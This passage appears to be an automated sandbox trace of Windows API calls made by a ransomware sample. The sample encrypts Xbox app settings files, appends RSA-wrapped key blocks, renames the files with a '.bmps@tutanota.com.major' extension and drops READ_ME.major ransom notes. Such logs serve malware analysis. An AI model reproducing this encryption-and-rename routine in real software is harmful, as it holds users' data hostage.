(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6688f0 [0205.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.544] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13b4 [0205.545] GetFileSizeEx (in: hFile=0x13b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0205.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8d8c0 [0205.545] ReadFile (in: hFile=0x13b4, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.546] SetFilePointer (in: hFile=0x13b4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.546] WriteFile (in: hFile=0x13b4, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.546] SetFilePointer (in: hFile=0x13b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.546] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.546] WriteFile (in: hFile=0x13b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.547] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.547] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.547] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.547] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.547] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jKb9eNSELw8ZzLnde4IlMG9xr6YJkJi5XAK9I/XXeAyddU1xQHvOSd6msDIEmJg9\nH/C6arCCc7bEDAE22yRYasx3DJK/NxHUhNUg4tYQyFZYFLU/Yhufq3p+Ibzz9Jxx\nTvbs9kPpzx/QpFziDj6hm8939ghAm9V1h5QzNN3S8Ho00QR9f0GhRFjhK33NiSeT\n4kb4h95W0aRoiSFdpWLEVH/Yl/tPOoecBJqCAK16FvT5eNZ1rNirH9WhHHMUihUI\nfy7DJfKehYQcRGjh81+60VuKeKTKaalKfJEuGJewv++MLOcVtqMMSmlgp8MqXCfu\nMZNjFyvYt4UzGSsK7mf7QA==\n", pcchString=0x2e3f9a8) returned 1 [0205.547] WriteFile (in: hFile=0x13b4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.547] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.547] WriteFile (in: hFile=0x13b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.547] CloseHandle (hObject=0x13b4) returned 1 [0205.547] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.550] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.550] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669160 [0205.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.551] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13b4 [0205.551] GetFileSizeEx (in: hFile=0x13b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.551] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.551] ReadFile (in: hFile=0x13b4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.551] SetFilePointer (in: hFile=0x13b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.551] WriteFile (in: hFile=0x13b4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.551] SetFilePointer (in: hFile=0x13b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.551] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.552] WriteFile (in: hFile=0x13b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.553] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.553] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.553] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.553] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.553] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GxSh4P+oBu8bifIdtifhgBQr2ibEppBCPyPosCEapzD1MkZ68YPlCsFhRUEzvD6T\nxZf+R6AmszYldNs84dLELNkntHzLgR3dZwspdLQ5eMLndY1rjp+DGKXqOHkK4quh\nsDsl9X07SF1tVhPpnBApF7f7L1rwzysUlqb52jFjkFnBCYGJjvKF431XKfPsUQh1\nJDOmQGyDrobFBM9HchTHekJW1D4rSj0DM09ewRudcrRoNMQAlyyoRLKuuTrKXOae\nYqqfcDbt/Yw2M0fcTo0gvDUK7RbV0YP7Q8747agZwr7Q0DgXWYCgdzcfYv8cN8cH\nGaUKao9SJvtGoZg/Gpwbqw==\n", pcchString=0x2e3f9a8) returned 1 [0205.553] WriteFile (in: hFile=0x13b4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.553] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.553] WriteFile (in: hFile=0x13b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.553] CloseHandle (hObject=0x13b4) returned 1 [0205.553] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.555] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935be769, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935be769, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ff18 [0205.555] SetLastError (dwErrCode=0x0) [0205.555] GetLastError () returned 0x0 [0205.555] SetLastError (dwErrCode=0x0) [0205.555] GetLastError () returned 0x0 [0205.555] SetLastError (dwErrCode=0x0) [0205.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.555] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be528 [0205.555] FindNextFileW (in: hFindFile=0x2f2ff18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935be769, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x935be769, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.555] SetLastError (dwErrCode=0x0) [0205.556] GetLastError () returned 0x0 [0205.556] SetLastError (dwErrCode=0x0) [0205.556] GetLastError () returned 0x0 [0205.556] SetLastError (dwErrCode=0x0) [0205.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0205.556] FindNextFileW (in: hFindFile=0x2f2ff18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.556] SetLastError (dwErrCode=0x0) [0205.556] GetLastError () returned 0x0 [0205.556] SetLastError (dwErrCode=0x0) [0205.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0205.556] SetLastError (dwErrCode=0x0) [0205.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f600a8 [0205.556] FindNextFileW (in: hFindFile=0x2f2ff18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664148 [0205.556] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b5e79, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239e313, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fa58 [0205.556] SetLastError (dwErrCode=0x12) [0205.556] GetLastError () returned 0x12 [0205.556] SetLastError (dwErrCode=0x12) [0205.556] GetLastError () returned 0x12 [0205.556] SetLastError (dwErrCode=0x12) [0205.556] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0205.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0205.557] FindNextFileW (in: hFindFile=0x2f2fa58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b5e79, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239e313, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] GetLastError () returned 0x12 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] GetLastError () returned 0x12 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0205.557] FindNextFileW (in: hFindFile=0x2f2fa58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] GetLastError () returned 0x12 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60120 [0205.557] FindNextFileW (in: hFindFile=0x2f2fa58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31810e76, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.557] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666ef8 [0205.557] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf22e0430, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ff98 [0205.557] SetLastError (dwErrCode=0x12) [0205.557] GetLastError () returned 0x12 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] GetLastError () returned 0x12 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0205.558] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf22e0430, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] GetLastError () returned 0x12 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] GetLastError () returned 0x12 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0205.558] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] GetLastError () returned 0x12 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] GetLastError () returned 0x12 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60328 [0205.558] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60288 [0205.558] SetLastError (dwErrCode=0x12) [0205.558] GetLastError () returned 0x12 [0205.559] SetLastError (dwErrCode=0x12) [0205.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0205.559] SetLastError (dwErrCode=0x12) [0205.559] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.559] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c0 [0205.560] WriteFile (in: hFile=0x13c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.561] CloseHandle (hObject=0x13c0) returned 1 [0205.561] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.561] SetLastError (dwErrCode=0x0) [0205.561] GetLastError () returned 0x0 [0205.561] SetLastError (dwErrCode=0x0) [0205.561] GetLastError () returned 0x0 [0205.561] SetLastError (dwErrCode=0x0) [0205.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60300 [0205.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60328 [0205.561] SetLastError (dwErrCode=0x0) [0205.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e428 [0205.561] SetLastError (dwErrCode=0x0) [0205.561] GetLastError () returned 0x0 [0205.561] SetLastError (dwErrCode=0x0) [0205.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0205.561] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c0 [0205.562] WriteFile (in: hFile=0x13c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.564] CloseHandle (hObject=0x13c0) returned 1 [0205.564] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.564] SetLastError (dwErrCode=0x0) [0205.564] GetLastError () returned 0x0 [0205.564] SetLastError (dwErrCode=0x0) [0205.564] GetLastError () returned 0x0 [0205.564] SetLastError (dwErrCode=0x0) [0205.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f602d8 [0205.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60300 [0205.564] SetLastError (dwErrCode=0x0) [0205.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0205.564] SetLastError (dwErrCode=0x0) [0205.564] GetLastError () returned 0x0 [0205.564] SetLastError (dwErrCode=0x0) [0205.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0205.564] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c0 [0205.566] WriteFile (in: hFile=0x13c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.567] CloseHandle (hObject=0x13c0) returned 1 [0205.568] FindNextFileW (in: hFindFile=0x2f2ff98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31810e76, ftCreationTime.dwHighDateTime=0x1d50249, 